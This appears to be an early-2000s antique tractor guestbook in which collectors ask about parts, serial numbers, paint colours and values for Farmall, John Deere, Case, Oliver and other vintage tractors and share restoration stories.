Ken Roffel wrote on Sunday, April 22, 2001 (PDT):I am restoring a 1954 Farmall Super C. I am having some good fortune in locating new parts however, I do need to find where I can get the base that holds all of the guages. It also holds the control tower for the steering wheel and the lite bar fits on it as well. Any leads or suggestions would be appreciated. Regards, Ken
don milne wrote on Sunday, April 22, 2001 (PDT):I just purchased an oliver BIG OLD SUCKER) 6 cyl.gas adj.front axle IT used to..Ifound ro or rc 77oo dash .What have i got and do they have any value.It will run
James Rohrer wrote on Sunday, April 22, 2001 (PDT):Newton's comments on the M's with a Super M engine struck a nerve. I purchased a M a few years ago and the guy called me back about a year later to tell me that he thought that it was really a super M. I have never heard anyone else ( until Newton ) mention that before.
T.J. wrote on Sunday, April 22, 2001 (PDT):I have a VAI not sure what year. Looking for a eagle hitch but have never seen one in person. Would be very helpful on any information i can get. If anyone has a eagle for sale i would like to hear. T.J.
Phin Sprague wrote on Saturday, April 21, 2001 (PDT):There is a Farmall Model A Serial # FAA 56455 abandoned in a field, been there for ten years can someone tell me the year and if a motor is available. Owner said I could have it. I'm going to go get it. Can't stand it. Thanks
nnn wrote on Saturday, April 21, 2001 (PDT):test
Tom Hoffman wrote on Friday, April 20, 2001 (PDT):I am looking for a hyd clynder for the rear cultivator for my G
Brian wrote on Friday, April 20, 2001 (PDT):I have a 1928 Farmall Regular ,restored, We have a world rated power lifter who challanges it to a show of strength ,tug of war at our vintage shows, Wearing a harness and holding a ladder (pegged to the ground)Roped back to back he managed to hold the regular for a record 21 seconds (spikes removed ) Its a real crowd puller,at our antique tractor shows Brian Calitz
Scott wrote on Thursday, April 19, 2001 (PDT):We own a Massey Harris "44 Tractor. We are presently trying to get it running. Hope to get it running restore it all and have it in the Farm Progress show. See y'all there
terry adams wrote on Thursday, April 19, 2001 (PDT):Good to be able to see a picture of a tractor that was invented be some of my relatives. Good to be able to see a picture of a tractor one of my relatives helped invent I am a Grandson of Opal(Parr)Adams. Terry Adams Terry Adams
C.Dixon wrote on Thursday, April 19, 2001 (PDT):Come visit the Silver King and Plymouth Tractor Web Page. Photos, links to the national club, a club message board and MORE. The Unofficial "Silver Kings of Yesteryear" web site. cut & paste this into your address bar; silverkingtractors.freehomepage.com or this link may work... Silver King and Plymouth Tractors Pages
mike odo wrote on Wednesday, April 18, 2001 (PDT):I am only 22 and i have a SMD and it is the finest tractor I have ever owned. I just painted it and rebuilt the motor. It was worth every penny and tear put into it. I went drawbar to drawbar with a JD G thathas also been restored recently and won. Go farmall al the way
{Paul Kenerson wrote on Wednesday, April 18, 2001 (PDT):The old B's had a pump that went on behind the Mag and the hoses went down to the lower pump and gave you live hydralics.
{Paul Kenerson wrote on Wednesday, April 18, 2001 (PDT):The old B's had a pump that went on behind the Mag and the hoses went down to the lower pump and gave you live hydralics.
Bob wrote on Wednesday, April 18, 2001 (PDT):For Gary on March 23, 2001; I have a 1206 that I bought three years ago. While researching the horsepower rating for it, I discovered that the 1256 tested at the Universtiy of Nebraska at 116HP PTO and somewhere over 100HP at the drawbar. I would also like any information from any one with experiences with the 1206. I was looking to buy a 1066 but really wasn't willing to pay the going price when I found the 1206 more in my price range.
Aaron Ball wrote on Wednesday, April 18, 2001 (PDT):My dad has a 1954 "G" Allis-Chalmers and I am trying to find a generator for him. The one that is on it is a Delco-Remy model C10. Is it best to have the old one rebuilt or do you know of any replacement sources for this 6 volt generator? Thank you for any assistance that can be provided.
JAson Schott wrote on Wednesday, April 18, 2001 (PDT):Anybody out there have any idea how to tell a gasoline from a kerosene engine on a F-20? Email me at Schottfarmer at yahoo.com
JAson Schott wrote on Wednesday, April 18, 2001 (PDT):Anybody out there have any idea how to tell a gasoline from a kerosene engine on a F-20? Email me at Schottfarmer at yahoo.com
jason Schott wrote on Wednesday, April 18, 2001 (PDT):Isn't It Great to Get on a web page and just talk about your great experience's with your IH tractors.
Dan DeWitt wrote on Tuesday, April 17, 2001 (PDT):I purchased my GVI about 25 years ago for 1300 hundred dollars and still using for farming yet today.
MATT CALVERY wrote on Tuesday, April 17, 2001 (PDT):I HAVE A TO-20 AND IM LOOKING FOR ANYBODY WHO WOULD KNOW WERE I COULD FIND "NEW" MOUNTING BRACKETS FOR MY ALTERNATOR. NOT THE WHOREOUT SALVAGE YARD KIND.I'VE HAD THE TRACTOR 6 YEARS AND IT CAME WITH A VERY NICE HOME MADE PIECE OF JUNK SET OF BRACKETS. ALSO WHAT IS THE RIGHT ALTERNATER FOR MY TRACTOR.
MATT CALVERY wrote on Tuesday, April 17, 2001 (PDT):I HAVE A TO-20 AND IM LOOKING FOR ANYBODY WHO WOULD KNOW WERE I COULD FIND "NEW" MOUNTING BRACKETS FOR MY ALTERNATOR. NOT THE WHOREOUT SALVAGE YARD KIND.I'VE HAD THE TRACTOR 6 YEARS AND IT CAME WITH A VERY NICE HOME MADE PIECE OF JUNK SET OF BRACKETS. ALSO WHAT IS THE RIGHT ALTERNATER FOR MY TRACTOR.
Eric Hoagland wrote on Tuesday, April 17, 2001 (PDT):I'm looking for a 1956 WD-45. Never owned one but spent many a summer day as a boy just playing on them and others at my Uncle's in middle TN., what good memories! My uncle, J.E. Clemmons had a dealership in Gladville, TN in the 50's 60's and 70's. Would like to restore one in his memory and so that I can say that the tractor is as old as I am and runs better than me. Thanks for any help.
Russ Pribble wrote on Tuesday, April 17, 2001 (PDT):I have a 0c-6 im fixing looking for parts if anyone has one there parting out.
m.kimle wrote on Tuesday, April 17, 2001 (PDT):I had noticed your muffler. It should be shorter and curved at the top just so its over the hood and the tip should be a little past the hole of the hood for the manifold.
wallace Giggey wrote on Monday, April 16, 2001 (PDT):i have a f20 that is battle ship gray somone told me it was maid in 1928 it has steel wheels and a narrow front end with a 4 diget serail number looking to sell but got no idea how much to ask for it its all running
Roy Wolf wrote on Monday, April 16, 2001 (PDT):I believe that if you check with the John Deere Mfg. Co., that you'll find that the Model 50 replaced the B; the Model 60 replaced the A; and the Model 70 replaced the G!!! The farmers of the 1950's used a lot of these tractors in Bureau County northwest of Princeton, Illinois....there was a very aggressive John Deere dealer in Walnut, Illinois and I remember that era very well/rcw.
matt wrote on Monday, April 16, 2001 (PDT):Does any of you know how to unstick a clutch and a valve on a 37 f20. I would kindly apriciate any help. I am restoring it for a work tractor.
thomas cronce wrote on Sunday, April 15, 2001 (PDT):i just bought a case DC.i am looking for info and parts.right now i beleive i need a new magneto badly.
kt wrote on Sunday, April 15, 2001 (PDT):mm's where half way decent tractors but if they were red they would be a whole lot better, because no mm is better than any farmall.
kt wrote on Sunday, April 15, 2001 (PDT):This farmall md is nice vary rare for a single wheel front end.
Paul Kenerson wrote on Sunday, April 15, 2001 (PDT):I am not an expert on JD's but the 60 was manufactured to replace the A not the B. I think that JD should start manufacturing 2cyl's again,they would put Harley Davidson out off business.They reprduce old houses, old clothing food what ever why not start making 2 cylinder tractors. there are many people that eat sleep and drink 2 cylinder tractors that never farmed before. Why not star a new fade?I know a guy that wears geen & yellow underwear ,pickup, house and what ever . his wife said that if he buys one more 2 cyl he's out the door. That color could cause a divorce.
Paul Kenerson wrote on Sunday, April 15, 2001 (PDT):Embarising things can happen on a 2 cyl . one day I was mowing with a JD B with a #5 mower , my brother was standind on thew back schooling me on all the bad places in the field . I started the tractor not one reveloution of the back wheel I heard him holler I turned and looked and he was standing there with no pants on just his belt, I had four inch bolts through the universals instead of what should have been there and the caught ahold of his pant cuff, nothing left off his pants he asked me to go up to the house and get him another pair. when I got up to the house there were a couple of buddies looking for him, I told them that he was sitting down behind the barn and to go down and see him. The pants were wound right around the power take off. It never happened again needless to say. Has anyone else done any stupid things with their old johnny?
Paul Kenerson wrote on Sunday, April 15, 2001 (PDT):Subject ; Safty I have a 1950 J D B that ran away on me once, I had started it from standing on the ground. some of the gas,had run down into the crankcase while being idle. The tractor was in reverse with the clutch disengaged. as soon as the tractor started there was an explosion, in the crankcase that ingaged the clutch and the tractor took off with me after it. It blew the clutch cover 100 feet from the tractor. Luckly no one was standing behind the tractor this happened within seconds. Always have the tractor in neutral with the clutch back and the breaks locked. Before 1950 it was common for these old tractors to accumalate particles in the fuel system and hold the needle on the float up and dump the fuel into the crank case causing trouble.
Mark Lethbridge wrote on Sunday, April 15, 2001 (PDT):I purchased my MC from my uncle 2 years ago and i'm doing a complete overhaul. The rollers and pins were done by my brother inlaw, and with the help of some good friends machined all new sleeve rollers for the rollers.I have rebuilt the final drives and steering clutchs which one was not working before. I also purchased the last two drive sprokes from John Deere that they had in stock (thats what they told me). Don,t ask how much they were as I live in Canada and had to pay the dollar exchange as well. I had the hyraulic cylinders rebuild by a friend and ordered a kit for the pump from John Deere as well as parts manual. This MC has a #602 blade on it which I believe is newer then the tractor. Next the engine.
Steve Kuffa wrote on Saturday, April 14, 2001 (PDT):Just acquired a 1963 Massey 97 diesel- needs some parts such as fenders, front grill and this and that. Can anybody help? Located in PA.
Ron M wrote on Saturday, April 14, 2001 (PDT):Does anyone know if fenders were an option on the F 14? A saw one with fenders at a show 3 or 4 years ago and haven't seen another since.
Jim wrote on Saturday, April 14, 2001 (PDT):Ok so I can't subtract 51-4= 47.
John Stephens wrote on Friday, April 13, 2001 (PDT):Looking for AC G Model in at Texas.
Jered wrote on Thursday, April 12, 2001 (PDT):I was wondering if anybody knew where I could get the original battle ship grey color, I have a 26 Regular and a 25 Regular Fairway and the fairway needs the wide front steel please let me know if anyone has an idea where a set might be.
C.W.(Jim) Broughton wrote on Wednesday, April 11, 2001 (PDT):To; Mike Fields...Your Cub is a 1949 model...Good luck with it ! Jim
Stewart wrote on Wednesday, April 11, 2001 (PDT):I just bought a 1943 M runs very well I look forward to talking more as I start to restore it.
Dave Weaver wrote on Wednesday, April 11, 2001 (PDT):I have a photo taken in 1951 which shows my Dad's Massey which I believe might be a 81. Is there a way to post it and see if anyone recognizes the model?
Harry wrote on Wednesday, April 11, 2001 (PDT):I just bought a 1946 Case VAI. Engine's good, skins' OK. It has a front loader of unknown origin. The previous owner had the tractor for 22 years and fitted the front end loader. He thinks it was original off an old Ford but with some modification. The 'hydraulics' are powered off the rear PTO and uses 30# oil. It's got a narrow bucket - used for getting into horse stalls. I've got horses so I appreciate the amount of work this will get! The fenders were removed to fit the front end loader. It has a gravity (trip) bucket but it does what's asked of it.
Max Pierce wrote on Tuesday, April 10, 2001 (PDT):I'm looking for a loader for a WD. Will even concider a damaged or junk piece of equipment.
Russ wrote on Tuesday, April 10, 2001 (PDT):JD O Model 60; If my math is correct John Deere only made 260 of the orchard 60 models. From John Deere Tractor Data Book Page 104 Author Lorry Dunning If you have a JD O Model 60 its got to be a keeper. 37hp and what a sound!
pat wood wrote on Tuesday, April 10, 2001 (PDT):what is the hp rating on these tractors. is replacement parts obtainable?
Harold wrote on Monday, April 09, 2001 (PDT):Alot of the questions asked in this space could be answered in Two Cylinder Magazine of Grundy Center ,Iowa. They have a special section devoted to technical questions.
John Whiting wrote on Monday, April 09, 2001 (PDT):My grandfather, 1964 National Soil Conservation Farmer of the Year, owned a 1947 M Propane for drilling wheat and pulling a spring tooth harrow for fallow. He turned the soil with a JD R and a 16' surflex one way. Plowed with a 4-16 plow and the R. I'm sneaking up on a M Propane for myself. I loved his M and hope I can corner myself a M Propane. (tukptc.com click on Links then click on My Tractors [64 Einspahr, 57 871 Ford, 1962 460 Farmall...its a gas, my JD B hasn't made the page yet] you can tell I show no favortism but they got to earn their keep at my place)
joeyboyer wrote on Saturday, April 07, 2001 (PDT): I AM 10 YEARS OLD.I LIVE IN A SMALL TOWN CALLED MARQUAND,MO. IT IS LOCATED IN SOUTHEAST MISSOURI. IHAVE A 1946 CASE VAI ALSO .MY UNCLE GAVE THE TRACTOR TO ME LAST SUMMER.I HAVE WORKED ON IT A LITTLE BIT.HE GOT IT FROM A GUY BY THE NAME OF ASA HOLMES.AFTER ASA DIED IN HIS WILL HE SAID,"I WANT BOB MOUSER TO HAVE THE CASE VAI". THAT'S HOW I GOT IT.
mike fields wrote on Saturday, April 07, 2001 (PDT): looking for the year of my cub serl# 57841 on the motor
mike fields wrote on Saturday, April 07, 2001 (PDT): looking for the year of my cub serl# 57841 on the motor
christopher j izzo wrote on Saturday, April 07, 2001 (PDT):I have a 1951 8nB,with a loader .On the left sid of tractor belly there is a hole,about 1.25 in in diameter.It looke original, but had no plug or cover.Could you tell me what this hole is for?
Mike wrote on Friday, April 06, 2001 (PDT):I am very intrested in buying a AC-G to restore. Running or not.Have a modle L John Deere (restored) that I might trade.
Kevin Reeves wrote on Thursday, April 05, 2001 (PDT):I am also restoring a 1943 Case VAI and wanted to know the paint schemes, decal location of the eagles, and any other info. such as value. I recently purchased it as a shop project for the winter. It is in excellent condition all sheet metal (except grill) is straight and has a continental belly mower. I'm going to advertise it and wanted to know a fair value.Thank You for any help.
Eric Hunsberger wrote on Thursday, April 05, 2001 (PDT):I have a model 'G'. I'm not sure of the year, but could pull the SN. My question is what it worth. The engine runs great. It was restored 15-20 years ago. I used it with my dad while growing up for mowing, gardening etc. It has a plow, cultivator, and sickel bar mower. It needs a clutch, and radiator. My other question would be how much for the clutch, and radiator. Thanks in advance.
duck wrote on Thursday, April 05, 2001 (PDT):i wish to buy a massey-ferguson 290
art wrote on Wednesday, April 04, 2001 (PDT):I have a 1955 TO-35 with a two-stage clutch. I am looking for decals, emblems, original gage replacements, tach/hour meter, original steering wheel replacement, etc. Anyone with a list of equipment offered foe sale, please respond.
Randy Kuhn wrote on Tuesday, April 03, 2001 (PDT):I have recently purchased a 1941 A, FULLY RESTORED for only $1,500.00 at an Auction in Kempton, PA. It's my first tractor since moving to the area 2 month's ago(Feb.) And Wife willing, It won't be my last! I've always respected farmers for the hard lifelong work they do on a daily basis. I live on top of a 4 acre hill that overlooks a multi acre farm that was built in the mid 1800's. It is still well mantained and fully functional to this date (and hopefully for a long time to come). Like I said it's my first tractor, and I have given my neighbor (the farmer) my word that I will make myself available whenever he needs assistense. I want farming to stay in this country where it belongs instead of farming out our livelyhood to other countries! In closing, I feel that each and every farmer still in existance deserves the respect of everyone who they come in contact with whether it be face to face or through the product they produce. I would like to personally thank Mr. HARVEY MUTH (the farmer/neighbor), for all that he has shared with me up to this point and I look forward to working side-by-side with him on his farm for many years to come. Thanks HARVEY!!!!!
Cindy wrote on Tuesday, April 03, 2001 (PDT):Can anyone tell me approximately how much a 1929 Farmall Tractor weighs. My dad found one and we need to know whether our car trailer will haul it. Thanks to anyone with info.
Don wrote on Sunday, April 01, 2001 (PDT):Need undercarriage parts for TD6 #DBK16847T7BH
Joe Trembley wrote on Sunday, April 01, 2001 (PDT):Just bought a 2010 JD with no serial number plate on it. Where are those again? Haven't got it home yet so I don't know what I've got. The tractor has a handy loader on it. Hope it works better than some of the comments above. Thanks.
JAY THOMAS wrote on Saturday, March 31, 2001 (PST):I have 4 Silver king tractors all are restored. I have a 1937,1938,1946,and a 1954. The 1954 is a Clarkburge tractor. If you have any question feal free to ask.I have some part tractors too.
emre ucer wrote on Saturday, March 31, 2001 (PST):DEAR MR OR MRS I AM FROM TURKEY AND LEARNNG AT EGE UN.MY DEPARTMANT IS AGRICULTRAL MACHINERY (CLASS 2) PLS SEND ME SOME PHOTOS AND NEW DOCEMENTS ABAOUT TRACTORS THANX
bill wrote on Thursday, March 29, 2001 (PST):yes i drove one when iwas kid and loved it would like to own one know
Todd Frampton wrote on Thursday, March 29, 2001 (PST):About the 560 D282 engine. A few years ago I purchased a 1962 Farmall 504 with TA and D188 engine. Ran great. Brother did light farm work with it. Engine trouble. Put on trailer and hauled home. Found #1 cylinder sleeve in pieces in oil pan. Removed cyl head. #3 sleeve showed visible crack. Replaced all sleeves and pistons with sealed power units, and bent #1 rod with reconditioned one. Put back together and runs fine so far. IH dealer said common for these tractors with dry sleeves to encounter breakage. Since 504D engine is same as 560D but with 2 less cylinders, curious if anyone else has encountered this as well? Sounds as if the 560/660D has served many well.
sammy wrote on Thursday, March 29, 2001 (PST):I have a 1941 LA JohnDeere I purchased with cultivators, bottom plow and draw bar. My daughter is 14 and she loves to drive the john deere baby brother tractor and I also work our garden with the LA.
Terry W. Golladay wrote on Thursday, March 29, 2001 (PST):how or whare can I find a picture of a 1976 case bicentenial modle #1570. thank you
Wayne wrote on Wednesday, March 28, 2001 (PST):THANKS JODY! When you get it set up, let me know, I would be very interested in how it works. Thanks Again! Wayne
Asuryah wrote on Tuesday, March 27, 2001 (PST):I have an I-4 and would to know more about how rare it is.
JODY HAMM wrote on Tuesday, March 27, 2001 (PST): WAYNE, THERE IS AN "A" FARMALL LISTED ON THE WEB THAT HAS A POWER STEERING PUMP, TANK, AND VALVE ON IT TO OPERATRE A FRONT BLADE. THIS IS WHAT I PLAN TO USE ON MY "B" TO SERVE AS A LIFT. HOPE THIS HELPS
kim jones wrote on Monday, March 26, 2001 (PST):I have a 1957 super 77 diesel serial #51886. I would like some info on where to find a wide front end and a 3 point lift.Also need the hinged hood skirts.Would also like to know the right color combinations.
Richard Vohs wrote on Monday, March 26, 2001 (PST):I am looking for an owners manual for a Row Crop 60. I am not sure of the manufacturer date; perhaps, I may need some help in identifying. If anyone can help, I would appreciate.
Harry Kelln wrote on Monday, March 26, 2001 (PST):I am looking for an Oliver 60 row crop. Preferably restored and running. Need not be show quality restoration. South central USA.
Andre wrote on Monday, March 26, 2001 (PST):I have A 1965 SUPER DEXTA it is a legand. it has done almost 8500 hours and never had a spanner near. I don't consider the dexta a vintage. they are still capable of keeping the pace with a modern tractor of the same h.p
margaret page wrote on Sunday, March 25, 2001 (PST):Do you know where a manual for a 1947 Case LA Interesting website
Chuck Clark wrote on Sunday, March 25, 2001 (PST):I have a 1958 farmall cub with six speed (high and low gear between left wheel and axel) and a roto tiller. Does any one know anything about these.
Wayne KRause wrote on Sunday, March 25, 2001 (PST):I,m looking for a pair of good fenders for my 1949 Farmall A for a restoration project. Can anybody assist me in this request?
Rollie wrote on Saturday, March 24, 2001 (PST):Mark, The wide axle I wrote about with my B tractor is for the rear end, not the front end of the tractor, but thanks for your interest.
Rollie wrote on Saturday, March 24, 2001 (PST):Mark, The wide axel I wrote about with my B tractor is for the rear end, not the front end of the tractor, but thanks for your interest.
Mark wrote on Saturday, March 24, 2001 (PST):Rollie, I'm getting BN from a friend, and have some hilly property. Are you interested in selling the wide front? Mark. 319-628-4339
James R. Kelley wrote on Saturday, March 24, 2001 (PST):Thanks to everyone who replied to my ad wanting to buy a Allis D-17. I got lucky and bought a Series IV from someone who's mother-in-law only used it to go to the mail box which was about one mile each way. However the owner said he occassionally caught her drag racing with the neighbor. Thanks again.
Rollie wrote on Saturday, March 24, 2001 (PST):About ten years ago, I bought a 1945 B Farmall with a Wood Brothers mower. The tractor has hydraulic lift and bucket seat; it also came with both narrow and wide axels. I've never used the wide one because the narrow one or the BN rear wheel setting works great for a 60" mower. The tractor runs like a top, but the mower wore out. I bought a new New Holland 47-horse tractor a while back, and when I asked the salesman if in 50 years or more the four cylinder engine in the New Holland would run as smooth as the engine in my B, his answer was that of course he couldn't tell me that. My B is like an old friend; sticks by you, no matter what. March 24, 2001
Allan Brown wrote on Friday, March 23, 2001 (PST):I live in Klerksdorp South Africa, and am presently restoring a 1949 WD. It stood in a lock up garage for twenty years and is very complete, but well worn.
Frank Zieser wrote on Friday, March 23, 2001 (PST):Just purchased a Cub Serial no. 73609, book shows it to be a 49. Looks like someone painted red over yellow. Were any cub's other than Cadets ever yellow? Also need a right hand tie rod Need to know paint color asap, going to paint shop before parade season. Frank.
Les Powell wrote on Thursday, March 22, 2001 (PST):I have an Oliver 60 standard tractor purchased in 1948. I have the original operators manual and parts book and know my father paid $1471.80 for his first rubber tired tractor. I am looking for a complete starter to restore the tractor and would appreciate any response to help me in my search.
Wayne wrote on Thursday, March 22, 2001 (PST):Never mind Phil, after reading further on some other entries I realized that the "Lift All" is the same thing as the "exhaust lift"/ "vacuum" (which really doesn't work off a vacuum). STILL, SURE WISH SOMEBODY MADE AN AFTER MARKET HYDRAULIC LIFT FOR THESE OLD Bs. SURE WOULD MAKE THE TRACTOR MUCH MORE VERSATIL. Thanks Wayne
Scott wrote on Thursday, March 22, 2001 (PST):I am completing restoration on a JD LA and am in search of a battery box. Anyone who has one for sale please call at (517) 750-4029 or e-mail at sjrogers at dmci.net.
T-Bone wrote on Thursday, March 22, 2001 (PST):I still have the ol'1066 I purchased new in '76.Last fall I was pulling the ripper(7 shank)and wasn't working her too hard at 5mph.Took her to the shop for the dyno and she sat in at 220!(The seal was still on the pump).I just love it when I chew up those 8210's for 20% of the price!Had a neighbor blow up a 4840 trying to stay with me.Yes,I am bragging,but like Bob Feller said,"If you can do it,it ain't bragging".The M,806,1066,and 5488 are the only REAL tractors ever built!
Kathleen Giddings wrote on Wednesday, March 21, 2001 (PST):My husband has a 1946 WD-9 with a 471 Detroit engine. When purchased, it was on steel. If anyone has any info. on this tractor, please contact me through my e-mail address.
Rudi Stegen wrote on Wednesday, March 21, 2001 (PST):I bought a Case 500 three days ago and I am thrilled with the sound ,power BUT hell the steering needs Arnold Schwartzerneger to turn it. Is there a POWER STEERING unit available. We in South Africa are a bit low on spares and manuals
Rock Stone wrote on Tuesday, March 20, 2001 (PST):My wifes gradpa has a Super M with a front end loader on it. I am an idiot when it comes to tractors, but would love to keep it in the family. Any idea what it is worth?
aaron wrote on Tuesday, March 20, 2001 (PST):I HAVE A FORD 8N AND IT HAS A KNOCK. FROM TALKING TO FRIENDS IT SOUNDS LIKE ITS GOING TO BE THE ROD BEARINGS. I WAS HOPING THAT YOU COULD CHANGE THEM OUT BY JUST REMOVING THE OIL PAN. DOES ANYONE KNOW? WHAT ABOUGHT IF THE CRANK NEEDS TO COME OUT? ANY ADVICE WOULD BE GREATLK APPRICIATED.
Pete Berg wrote on Tuesday, March 20, 2001 (PST):I am looking for a set of tracks or a manufacture of tracks for a tractor. I will be working in soft ground, swamp areas. Any help ... would be a big help. Company name, phone number, address, etc.
Wayne wrote on Monday, March 19, 2001 (PST):Hey Phil, Can you give me some info on this Farmall "Lift All"? I'm going to inherit a "B" before to long and the pneumatic lift has been gone for years. My daddy has it now, he farmed 45 years; retired in '92. His father (grandaddy) bought in new in '47 and died the same year. This is the tractor I "cut my teeth on" cuttin tobacco stalks with a two row stalk at the ripe old age of 7. Always been sheltered and daddy kept it in good shape converting it to a "spray rig" before retiring. Would like to put a belly mower on it to cut grass. NEED A LIFT! Any suggestions anybody?? Proud to be a farm boy! Thanks! Wayne...NC
John Alfred Smith wrote on Sunday, March 18, 2001 (PST):NEED HELP !! I bought a single frount wheel assembly for a IH a day ago it is not like the one in the picture above, it has straight side strutes ,not the fat, wishbone style like above. The wheel is not a bolt-on the-hub, or solid wheel/rim, both of these have the single axle-bolt to mount to the wishbone strurt, Mine has like Isaid before the straight sided struts , the big difference is the wheel/rim porition. This part is large castiron spoke wheel. With 1&1/2 diameter spokes about 2 in. apart . This means the V between each spoke is about 2 in deep . The rim is welded to the wheel porition . Any Information on this type of single frount would be appreciated!!! Thanks, John Alfred Smith
Ken Sanders wrote on Sunday, March 18, 2001 (PST):I have an 8n ford front distributer model that I am trying to find out the capacity of the rear hydraulics system and the type of fluid used in it.
Adam Dinterman wrote on Sunday, March 18, 2001 (PST):I live in the eastern panhandle of wv and would like to buy a farmall f-30. I currently have an F-20 that I pull and would like to add to my collection. Thanks.
Rhea Park wrote on Saturday, March 17, 2001 (PST): i have a 1948 ac g with hyd,planter,plow,cultivator,and sickle bar mower all in very good condition for $4250 central illinois.
rex a. smith wrote on Friday, March 16, 2001 (PST):i still have a 1939 my dad has 5 more at home they all run too
Theo Brauch wrote on Friday, March 16, 2001 (PST):I have just gotten a 720 diesel that was on my uncles farm every thing works and it has rockshaft for 3 piont hitch so if any one knows were there might be some arms caqn you let me know hoping to get this old beast back to show room condition in the next little bit.This was the first tractor O I ever sat on at the age of 3 and with any luck it will be the last on.
jim wrote on Thursday, March 15, 2001 (PST):This was a great hay mowing machine for small acreages using the mid mounted mower has many fond memories for me. This tractor was also one of the easiest starting hand crankers I ever used. I grew to hate the plowing operation of this tractor. It also made a great stationary unit for belting operations. All in all I wish I had it still.
Brian Lesh wrote on Wednesday, March 14, 2001 (PST):My Dad farmed with a super M until he retired. Our neighbor had a M with white paint on it with red. Now my son's ag class bought a H to restore and it has the white paint scheme. What years and models did they use the red and white paint scheme? Dad's super M was overhauled and had 400 pistons in it. He always claimed it had 55 hp. Is that about right? I know it pulled 10 foot mulcher with 2 section harrow behind it pretty good.
gary wrote on Wednesday, March 14, 2001 (PST):I have a International Cub "59-60" s# 21795. If interested E-mail gjsmith at lightening.com needs to be restored. N.E. Wa.
COREY RITCHIE wrote on Tuesday, March 13, 2001 (PST):I AM CURRENTLY RESTORING A 1956 M-H 333 ROW CROP TRACTOR, CAN ANYONE TELL ME IF THESE TRACTORS ARE RARE OR NOT, AND IF SO, HOW MANY WERE MADE IN THE GAS 208 VERSION, AND HOW MUCH IS IT'S TOTAL WIEGHT.
Ella McFetridge.. wrote on Monday, March 12, 2001 (PST):A friend has a wonderful workhorse of a tractor a Cockshutt-540. this is all he knows about this tractor,he has had it many years.bought if many years ago,restored it and has worked it every since. But he would like some information on it..Please, Thank you
Lindsay Schlaud wrote on Monday, March 12, 2001 (PST):Iwould like to comment about power between the F-12 and the F-14. My dad has the F-14 and I have the 12. His manifold went bad so he put the F-12 manifold on and the power dropped way down. That one went bad and he found another good F-14 manifold and now it has the power that it used to.I know some books say that the F-14 runs more RPM. That is the reason for more power. I feel its the manifolds. Does anyone agree with me Or know for sure? Thankyou!!
Les Johnson wrote on Sunday, March 11, 2001 (PST):We have a Case cast iron eagle (Abe) in mint condition. It stands about five and a half feet, weight is about five hundred pounds. What is the approximent value of this articial
Emerson Kierstead wrote on Sunday, March 11, 2001 (PST):Thank you for the pictutre of one 55. Have driven one many miles logging, plowing, harrowing & haying, before and after school, in Kings Co NB. Had to bolt a 6 inch block of wood to clutch pedal to fully engage clutch. No power steering on this beast. (and he had to walk uphill to school both ways - his son Ron)
Phil Wilcox wrote on Sunday, March 11, 2001 (PST):I have a 1948 VAO with a Profit front end loader and a home made(?) 3 point hitch. Would like an Eagle hitch. Any available? I am in Northern California.
Harv Lyndaker wrote on Sunday, March 11, 2001 (PST):I acquired, along with my home in 1970, a 1940 Model H, serial no. 15342 (behind the flywheel). Along with it came a 1 bottom plow, cultivator, and hiller. Been using the plow, and disking, and dragging my garden ever since. Works great, but did replace rings in 1972 and 1999. My son (30) says not to sell it because he wants it some day. Could use one new rubber in front. Starts every time for gardening and for spraying my fruit trees.
Bob Glick wrote on Sunday, March 11, 2001 (PST):I have an Oliver 70 that would be a good one for restoration. Are there any interests?
Dana Opdycke wrote on Saturday, March 10, 2001 (PST):Hi Oliver people, I have restored 3 70 Row Crops. One my dad got new in 1944 ('45 model)a '39( wide front)and '38 Tom Wood I have the Frontend you need and many parts for all oliver 70's E-mail to opdyckd at prodigy.net or call (908)-689-9001. Thanks Dana
Cliff Whitesides wrote on Saturday, March 10, 2001 (PST):Looking at your tractors reminds me of years ago. Although I'm only 37 my Grandfathers farm was run only by antique John Deere Tractors. The first tractor I learned to drive at age 10 was a JD-G. The hand clutch terrified me. He had an assortment of JDs. There was the G an A a MT and an old allis chalmers B. Thank you for bringing back such fond memories of a much simpler time in the mid 70s in York SC
Dennis Gehling wrote on Friday, March 09, 2001 (PST):I have an Oliver Super 77 gas with the original adjustable oliver wide front end. I am looking for a "Tie Rod Assembly" (the two ball joints and the sleeve). Any information on where I can find one will be greatly appreciated.
Vernon Hatcher wrote on Friday, March 09, 2001 (PST):Timmy G. I purchased a Manifold PN 04-695700 from my local JD Supplier. Your welcome to give him a call at 770-427-8491 and ask for Bennie. He may tell you where he found it or sell you one and ship it to you. Cost me $350.00. I'm sure everyone reading these posted messages agree that restoring an old tractor can be quite expensive and rewarding.
nick wrote on Friday, March 09, 2001 (PST):it is an AV not a V
Ed wrote on Thursday, March 08, 2001 (PST): I have a set of steel lug wheels that bolt on the outside of the rear wheels. In the late 40's we used them to pull roots out of hedge rows. I've seen the front wheels 4ft. off the ground many times.9N
Jerry wrote on Thursday, March 08, 2001 (PST):Great looking tractor! I have a MF 97 FWA that I am looking to sell. Let me know if you are interested.
Kenny Wilson wrote on Thursday, March 08, 2001 (PST):Indiana Rock, you can subscribe to Red Power Magazine by phone at 712-364-2131 or visiting their website at;www.redpowermagazine.com
Bill wrote on Thursday, March 08, 2001 (PST):I have a '52 cub I want to rewire. Oem tractor sales lists,a main, main 8 cable w/vlt.reg., main 4 cable w/ gen. relay, main 7 cable w/vlt.reg., switch to rear light 6v.harness, & a rear light harness. what ones do I need? also does anyone know if these harnesses have all the separate wires needed, minus the spark plug wires? thanks
Joe Floriano wrote on Thursday, March 08, 2001 (PST):I am looking for a super "A" in the MI and WI areas. Preferably not restored, but must run. I am looking for a project to relive my younger days!
Warren Newton wrote on Wednesday, December 13, 2000 (PST): I am from Port Huron Michigan and to answere Philip Croff question, Yes the Port Huron Engine was built in Port Huron, Michigan. The building that they were built in still stands and is being used for a city of Port Huron truck garage. Any one interested can e-mail me at swnewton at tir.com
Guy Andersen wrote on Wednesday, December 13, 2000 (PST):The LU-2482 engine was used on a 12-A John Deere pull type combine. LU-2482 combine engine will not fit a L John Deere tractor. We have a LU-2482 engine and L John Deere tractor with mower. Are you interested in a plow or two? We have a few to choose from.
James Hill wrote on Wednesday, December 13, 2000 (PST):My father in law and I restored his co-op e-4 several years ago, but we still need to find a PTO shield. It's the same tractor different name.
Ken from Omaha wrote on Wednesday, December 13, 2000 (PST):I have an early '50 Cub tractor and trying to mount the snow blade. Its marked L54 on the snow blade frame, but the mounting hook-ups dont look right. There is a a spring and rod on the bottom of the frame and long arm with long sring on top of frame (yellow in color) Do I have the right snow blade?? Thanks Much
